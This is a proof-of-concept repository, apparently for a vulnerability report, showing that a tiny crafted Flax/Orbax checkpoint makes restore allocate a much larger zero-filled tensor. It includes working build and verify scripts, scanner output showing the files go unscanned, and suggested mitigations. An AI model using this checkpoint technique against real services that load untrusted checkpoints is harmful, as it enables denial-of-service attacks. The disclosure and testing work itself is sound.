Upload folder using huggingface_hub
Browse files- README.md +61 -0
- __pycache__/build_poc.cpython-312.pyc +0 -0
- __pycache__/verify_poc.cpython-312.pyc +0 -0
- build_poc.py +102 -0
- modelscan_checkpoint_0.json +1 -0
- poc_sparse_shape_checkpoint/artifact_manifest.json +26 -0
- poc_sparse_shape_checkpoint/checkpoint_0/_CHECKPOINT_METADATA +1 -0
- poc_sparse_shape_checkpoint/checkpoint_0/_METADATA +1 -0
- poc_sparse_shape_checkpoint/checkpoint_0/marker/.zarray +1 -0
- results.json +25 -0
- verify_poc.py +79 -0
README.md
ADDED
|
@@ -0,0 +1,61 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
# Flax/Orbax Sparse-Shape Checkpoint PoC
|
| 2 |
+
|
| 3 |
+
This is a benign security PoC for a Flax/Orbax checkpoint resource-amplification issue. It demonstrates a tiny legacy Orbax/Zarr checkpoint whose model-controlled metadata restores as a much larger zero-filled `float32` tensor.
|
| 4 |
+
|
| 5 |
+
## Files
|
| 6 |
+
|
| 7 |
+
- `build_poc.py` creates the checkpoint artifact.
|
| 8 |
+
- `verify_poc.py` restores the checkpoint and writes `results.json`.
|
| 9 |
+
- `poc_sparse_shape_checkpoint/checkpoint_0/` is the generated checkpoint artifact.
|
| 10 |
+
- `poc_sparse_shape_checkpoint/artifact_manifest.json` records file sizes and SHA256 values.
|
| 11 |
+
- `modelscan_checkpoint_0.json` is ModelScan output.
|
| 12 |
+
- `results.json` is runtime restore output from the local validation run.
|
| 13 |
+
|
| 14 |
+
## Trigger
|
| 15 |
+
|
| 16 |
+
The checkpoint uses legacy Orbax/Zarr layout with:
|
| 17 |
+
|
| 18 |
+
- `_METADATA`: `store_array_data_equal_to_fill_value=false`
|
| 19 |
+
- `marker/.zarray`: a large declared `shape`
|
| 20 |
+
- no chunk data file
|
| 21 |
+
|
| 22 |
+
On restore, current Orbax/TensorStore fills missing chunk data and materializes the declared array. The staged artifact uses a safe default shape of `8,000,000` `float32` elements, allocating about 32 MB from a sub-kilobyte checkpoint.
|
| 23 |
+
|
| 24 |
+
## Reproduction
|
| 25 |
+
|
| 26 |
+
```bash
|
| 27 |
+
python -m venv .venv
|
| 28 |
+
.venv/Scripts/python -m pip install flax orbax-checkpoint modelscan transformers msgpack psutil numpy
|
| 29 |
+
.venv/Scripts/python build_poc.py --shape 8000000
|
| 30 |
+
.venv/Scripts/python verify_poc.py
|
| 31 |
+
.venv/Scripts/modelscan scan -p poc_sparse_shape_checkpoint/checkpoint_0 -r json --show-skipped -o modelscan_checkpoint_0.json
|
| 32 |
+
```
|
| 33 |
+
|
| 34 |
+
Expected restore output includes:
|
| 35 |
+
|
| 36 |
+
- `restored_shape`: `[8000000]`
|
| 37 |
+
- `restored_dtype`: `float32`
|
| 38 |
+
- `restored_nbytes`: `32000000`
|
| 39 |
+
- `first_value` and `last_value`: `0.0`
|
| 40 |
+
|
| 41 |
+
## Scanner Output Summary
|
| 42 |
+
|
| 43 |
+
ModelScan `0.8.8` reports zero issues and skips `_CHECKPOINT_METADATA`, `_METADATA`, and `marker/.zarray` as unsupported files. This is not an ACE scanner bypass; it is scanner/runtime evidence for a currently unsupported Flax/Orbax checkpoint surface.
|
| 44 |
+
|
| 45 |
+
## Impact
|
| 46 |
+
|
| 47 |
+
An attacker-controlled checkpoint can be much smaller on disk than the array materialized during restore. Increasing the declared Zarr shape scales the allocation and can produce a denial of service in services that restore untrusted Flax/Orbax checkpoints.
|
| 48 |
+
|
| 49 |
+
Limitations:
|
| 50 |
+
|
| 51 |
+
- DoS/resource amplification only.
|
| 52 |
+
- No code execution.
|
| 53 |
+
- Demonstrated on legacy Orbax/Zarr checkpoint layout, not default OCDBT.
|
| 54 |
+
- Requires a service or user to restore the checkpoint.
|
| 55 |
+
|
| 56 |
+
## Mitigations
|
| 57 |
+
|
| 58 |
+
- Reject or cap restored tensor shapes before `TensorStore.read()`.
|
| 59 |
+
- Reject checkpoints with missing chunk data unless explicitly trusted.
|
| 60 |
+
- Treat `_METADATA` and `.zarray` as security-sensitive scanner targets.
|
| 61 |
+
- Enforce a maximum restored byte budget per checkpoint.
|
__pycache__/build_poc.cpython-312.pyc
ADDED
|
Binary file (5.73 kB). View file
|
|
|
__pycache__/verify_poc.cpython-312.pyc
ADDED
|
Binary file (3.58 kB). View file
|
|
|
build_poc.py
ADDED
|
@@ -0,0 +1,102 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
from __future__ import annotations
|
| 2 |
+
|
| 3 |
+
import argparse
|
| 4 |
+
import hashlib
|
| 5 |
+
import json
|
| 6 |
+
import shutil
|
| 7 |
+
from pathlib import Path
|
| 8 |
+
|
| 9 |
+
import numpy as np
|
| 10 |
+
import orbax.checkpoint as ocp
|
| 11 |
+
|
| 12 |
+
|
| 13 |
+
def sha256_file(path: Path) -> str:
|
| 14 |
+
h = hashlib.sha256()
|
| 15 |
+
with path.open("rb") as f:
|
| 16 |
+
for chunk in iter(lambda: f.read(1024 * 1024), b""):
|
| 17 |
+
h.update(chunk)
|
| 18 |
+
return h.hexdigest()
|
| 19 |
+
|
| 20 |
+
|
| 21 |
+
def build_tree_hash(root: Path) -> tuple[str, list[dict[str, object]]]:
|
| 22 |
+
entries = []
|
| 23 |
+
h = hashlib.sha256()
|
| 24 |
+
for path in sorted(p for p in root.rglob("*") if p.is_file()):
|
| 25 |
+
rel = path.relative_to(root).as_posix()
|
| 26 |
+
digest = sha256_file(path)
|
| 27 |
+
size = path.stat().st_size
|
| 28 |
+
entries.append({"path": rel, "size": size, "sha256": digest})
|
| 29 |
+
h.update(rel.encode("utf-8"))
|
| 30 |
+
h.update(b"\0")
|
| 31 |
+
h.update(digest.encode("ascii"))
|
| 32 |
+
h.update(b"\0")
|
| 33 |
+
return h.hexdigest(), entries
|
| 34 |
+
|
| 35 |
+
|
| 36 |
+
def main() -> None:
|
| 37 |
+
parser = argparse.ArgumentParser(
|
| 38 |
+
description="Build a benign Flax/Orbax sparse-shape checkpoint PoC."
|
| 39 |
+
)
|
| 40 |
+
parser.add_argument(
|
| 41 |
+
"--shape",
|
| 42 |
+
type=int,
|
| 43 |
+
default=8_000_000,
|
| 44 |
+
help="Declared float32 tensor length. Default allocates 32 MB on restore.",
|
| 45 |
+
)
|
| 46 |
+
parser.add_argument(
|
| 47 |
+
"--out",
|
| 48 |
+
type=Path,
|
| 49 |
+
default=Path("poc_sparse_shape_checkpoint"),
|
| 50 |
+
help="Output directory for the PoC checkpoint package.",
|
| 51 |
+
)
|
| 52 |
+
args = parser.parse_args()
|
| 53 |
+
|
| 54 |
+
if args.shape < 1:
|
| 55 |
+
raise SystemExit("--shape must be positive")
|
| 56 |
+
|
| 57 |
+
out = args.out.resolve()
|
| 58 |
+
if out.exists():
|
| 59 |
+
shutil.rmtree(out)
|
| 60 |
+
out.mkdir(parents=True)
|
| 61 |
+
ckpt = out / "checkpoint_0"
|
| 62 |
+
|
| 63 |
+
handler = ocp.PyTreeCheckpointHandler(use_ocdbt=False)
|
| 64 |
+
checkpointer = ocp.Checkpointer(handler)
|
| 65 |
+
checkpointer.save(
|
| 66 |
+
ckpt,
|
| 67 |
+
{"marker": np.array([1.0], dtype=np.float32)},
|
| 68 |
+
force=True,
|
| 69 |
+
)
|
| 70 |
+
|
| 71 |
+
metadata_path = ckpt / "_METADATA"
|
| 72 |
+
metadata = json.loads(metadata_path.read_text())
|
| 73 |
+
metadata["store_array_data_equal_to_fill_value"] = False
|
| 74 |
+
metadata_path.write_text(json.dumps(metadata, separators=(",", ":")))
|
| 75 |
+
|
| 76 |
+
zarray_path = ckpt / "marker" / ".zarray"
|
| 77 |
+
zarray = json.loads(zarray_path.read_text())
|
| 78 |
+
zarray["shape"] = [args.shape]
|
| 79 |
+
zarray["chunks"] = [args.shape]
|
| 80 |
+
zarray_path.write_text(json.dumps(zarray, separators=(",", ":")))
|
| 81 |
+
|
| 82 |
+
chunk_path = ckpt / "marker" / "0"
|
| 83 |
+
if chunk_path.exists():
|
| 84 |
+
chunk_path.unlink()
|
| 85 |
+
|
| 86 |
+
tree_hash, files = build_tree_hash(out)
|
| 87 |
+
manifest = {
|
| 88 |
+
"name": "flax-orbax-sparse-shape-checkpoint-poc",
|
| 89 |
+
"declared_shape": [args.shape],
|
| 90 |
+
"declared_nbytes_float32": args.shape * 4,
|
| 91 |
+
"checkpoint_bytes_on_disk": sum(item["size"] for item in files),
|
| 92 |
+
"tree_sha256": tree_hash,
|
| 93 |
+
"files": files,
|
| 94 |
+
}
|
| 95 |
+
(out / "artifact_manifest.json").write_text(
|
| 96 |
+
json.dumps(manifest, indent=2) + "\n"
|
| 97 |
+
)
|
| 98 |
+
print(json.dumps(manifest, indent=2))
|
| 99 |
+
|
| 100 |
+
|
| 101 |
+
if __name__ == "__main__":
|
| 102 |
+
main()
|
modelscan_checkpoint_0.json
ADDED
|
@@ -0,0 +1 @@
|
|
|
|
|
|
|
| 1 |
+
{"summary": {"total_issues_by_severity": {"LOW": 0, "MEDIUM": 0, "HIGH": 0, "CRITICAL": 0}, "total_issues": 0, "input_path": "poc_sparse_shape_checkpoint\\checkpoint_0", "absolute_path": "C:\\Users\\Pragnyan\\dev\\huntr-exp1\\flax\\hf_flax_poc\\poc_sparse_shape_checkpoint\\checkpoint_0", "modelscan_version": "0.8.8", "timestamp": "2026-05-12T12:57:40.451111", "scanned": {"total_scanned": 0}, "skipped": {"total_skipped": 3, "skipped_files": [{"category": "SCAN_NOT_SUPPORTED", "description": "Model Scan did not scan file", "source": "_CHECKPOINT_METADATA"}, {"category": "SCAN_NOT_SUPPORTED", "description": "Model Scan did not scan file", "source": "_METADATA"}, {"category": "SCAN_NOT_SUPPORTED", "description": "Model Scan did not scan file", "source": "marker\\.zarray"}]}}, "issues": [], "errors": []}
|
poc_sparse_shape_checkpoint/artifact_manifest.json
ADDED
|
@@ -0,0 +1,26 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
{
|
| 2 |
+
"name": "flax-orbax-sparse-shape-checkpoint-poc",
|
| 3 |
+
"declared_shape": [
|
| 4 |
+
8000000
|
| 5 |
+
],
|
| 6 |
+
"declared_nbytes_float32": 32000000,
|
| 7 |
+
"checkpoint_bytes_on_disk": 690,
|
| 8 |
+
"tree_sha256": "bb1f5685101ef62fc818939955bd3db938ba60ce5fe49b8dea8db0bba2003381",
|
| 9 |
+
"files": [
|
| 10 |
+
{
|
| 11 |
+
"path": "checkpoint_0/_CHECKPOINT_METADATA",
|
| 12 |
+
"size": 258,
|
| 13 |
+
"sha256": "eb21d0981fbd569fa29a62452642973b68f514d2e62fb1eeec78f96191580e79"
|
| 14 |
+
},
|
| 15 |
+
{
|
| 16 |
+
"path": "checkpoint_0/_METADATA",
|
| 17 |
+
"size": 256,
|
| 18 |
+
"sha256": "05e86e7a3626edfd23fc09e91001fc346ee9aec4c352d5907441f1f37b5f3bb3"
|
| 19 |
+
},
|
| 20 |
+
{
|
| 21 |
+
"path": "checkpoint_0/marker/.zarray",
|
| 22 |
+
"size": 176,
|
| 23 |
+
"sha256": "fab095a3ae13ec5674d2899e341ccdf0d456c536aeee55682fa1fa24c404e967"
|
| 24 |
+
}
|
| 25 |
+
]
|
| 26 |
+
}
|
poc_sparse_shape_checkpoint/checkpoint_0/_CHECKPOINT_METADATA
ADDED
|
@@ -0,0 +1 @@
|
|
|
|
|
|
|
| 1 |
+
{"item_handlers": "orbax.checkpoint._src.handlers.pytree_checkpoint_handler.PyTreeCheckpointHandler", "metrics": {}, "performance_metrics": {}, "init_timestamp_nsecs": 1778570744276689000, "commit_timestamp_nsecs": 1778570744354952900, "custom_metadata": {}}
|
poc_sparse_shape_checkpoint/checkpoint_0/_METADATA
ADDED
|
@@ -0,0 +1 @@
|
|
|
|
|
|
|
| 1 |
+
{"tree_metadata":{"('marker',)":{"key_metadata":[{"key":"marker","key_type":2}],"value_metadata":{"value_type":"np.ndarray","skip_deserialize":false}}},"use_ocdbt":false,"use_zarr3":false,"store_array_data_equal_to_fill_value":false,"custom_metadata":null}
|
poc_sparse_shape_checkpoint/checkpoint_0/marker/.zarray
ADDED
|
@@ -0,0 +1 @@
|
|
|
|
|
|
|
| 1 |
+
{"chunks":[8000000],"compressor":{"id":"zstd","level":1},"dimension_separator":".","dtype":"<f4","fill_value":null,"filters":null,"order":"C","shape":[8000000],"zarr_format":2}
|
results.json
ADDED
|
@@ -0,0 +1,25 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
{
|
| 2 |
+
"checkpoint": "C:\\Users\\Pragnyan\\dev\\huntr-exp1\\flax\\hf_flax_poc\\poc_sparse_shape_checkpoint\\checkpoint_0",
|
| 3 |
+
"restored_shape": [
|
| 4 |
+
8000000
|
| 5 |
+
],
|
| 6 |
+
"restored_dtype": "float32",
|
| 7 |
+
"restored_nbytes": 32000000,
|
| 8 |
+
"first_value": 0.0,
|
| 9 |
+
"last_value": 0.0,
|
| 10 |
+
"elapsed_seconds": 0.13800019999871438,
|
| 11 |
+
"rss_before": 117305344,
|
| 12 |
+
"rss_after": 163581952,
|
| 13 |
+
"rss_delta": 46276608,
|
| 14 |
+
"versions": {
|
| 15 |
+
"python": "3.12.12",
|
| 16 |
+
"platform": "Windows-11-10.0.26220-SP0",
|
| 17 |
+
"flax": "0.12.7",
|
| 18 |
+
"jax": "0.10.0",
|
| 19 |
+
"orbax-checkpoint": "0.11.39",
|
| 20 |
+
"modelscan": "0.8.8",
|
| 21 |
+
"msgpack": "1.1.2",
|
| 22 |
+
"numpy": "2.4.4",
|
| 23 |
+
"transformers": "5.8.0"
|
| 24 |
+
}
|
| 25 |
+
}
|
verify_poc.py
ADDED
|
@@ -0,0 +1,79 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
from __future__ import annotations
|
| 2 |
+
|
| 3 |
+
import argparse
|
| 4 |
+
import json
|
| 5 |
+
import os
|
| 6 |
+
import platform
|
| 7 |
+
import time
|
| 8 |
+
from pathlib import Path
|
| 9 |
+
|
| 10 |
+
import flax
|
| 11 |
+
import jax
|
| 12 |
+
import msgpack
|
| 13 |
+
import numpy as np
|
| 14 |
+
import orbax.checkpoint as ocp
|
| 15 |
+
import psutil
|
| 16 |
+
|
| 17 |
+
|
| 18 |
+
def package_versions() -> dict[str, str]:
|
| 19 |
+
import modelscan
|
| 20 |
+
import transformers
|
| 21 |
+
|
| 22 |
+
return {
|
| 23 |
+
"python": platform.python_version(),
|
| 24 |
+
"platform": platform.platform(),
|
| 25 |
+
"flax": flax.__version__,
|
| 26 |
+
"jax": jax.__version__,
|
| 27 |
+
"orbax-checkpoint": ocp.__version__,
|
| 28 |
+
"modelscan": modelscan.__version__,
|
| 29 |
+
"msgpack": ".".join(map(str, msgpack.version)),
|
| 30 |
+
"numpy": np.__version__,
|
| 31 |
+
"transformers": transformers.__version__,
|
| 32 |
+
}
|
| 33 |
+
|
| 34 |
+
|
| 35 |
+
def main() -> None:
|
| 36 |
+
parser = argparse.ArgumentParser(
|
| 37 |
+
description="Restore the benign sparse-shape Flax/Orbax checkpoint PoC."
|
| 38 |
+
)
|
| 39 |
+
parser.add_argument(
|
| 40 |
+
"--checkpoint",
|
| 41 |
+
type=Path,
|
| 42 |
+
default=Path("poc_sparse_shape_checkpoint") / "checkpoint_0",
|
| 43 |
+
)
|
| 44 |
+
parser.add_argument(
|
| 45 |
+
"--results",
|
| 46 |
+
type=Path,
|
| 47 |
+
default=Path("results.json"),
|
| 48 |
+
)
|
| 49 |
+
args = parser.parse_args()
|
| 50 |
+
|
| 51 |
+
checkpoint = args.checkpoint.resolve()
|
| 52 |
+
process = psutil.Process(os.getpid())
|
| 53 |
+
before_rss = process.memory_info().rss
|
| 54 |
+
start = time.perf_counter()
|
| 55 |
+
|
| 56 |
+
restored = ocp.Checkpointer(ocp.PyTreeCheckpointHandler()).restore(checkpoint)
|
| 57 |
+
elapsed = time.perf_counter() - start
|
| 58 |
+
marker = restored["marker"]
|
| 59 |
+
after_rss = process.memory_info().rss
|
| 60 |
+
|
| 61 |
+
result = {
|
| 62 |
+
"checkpoint": str(checkpoint),
|
| 63 |
+
"restored_shape": list(marker.shape),
|
| 64 |
+
"restored_dtype": str(marker.dtype),
|
| 65 |
+
"restored_nbytes": int(marker.nbytes),
|
| 66 |
+
"first_value": float(marker[0]),
|
| 67 |
+
"last_value": float(marker[-1]),
|
| 68 |
+
"elapsed_seconds": elapsed,
|
| 69 |
+
"rss_before": before_rss,
|
| 70 |
+
"rss_after": after_rss,
|
| 71 |
+
"rss_delta": after_rss - before_rss,
|
| 72 |
+
"versions": package_versions(),
|
| 73 |
+
}
|
| 74 |
+
args.results.write_text(json.dumps(result, indent=2) + "\n")
|
| 75 |
+
print(json.dumps(result, indent=2))
|
| 76 |
+
|
| 77 |
+
|
| 78 |
+
if __name__ == "__main__":
|
| 79 |
+
main()
|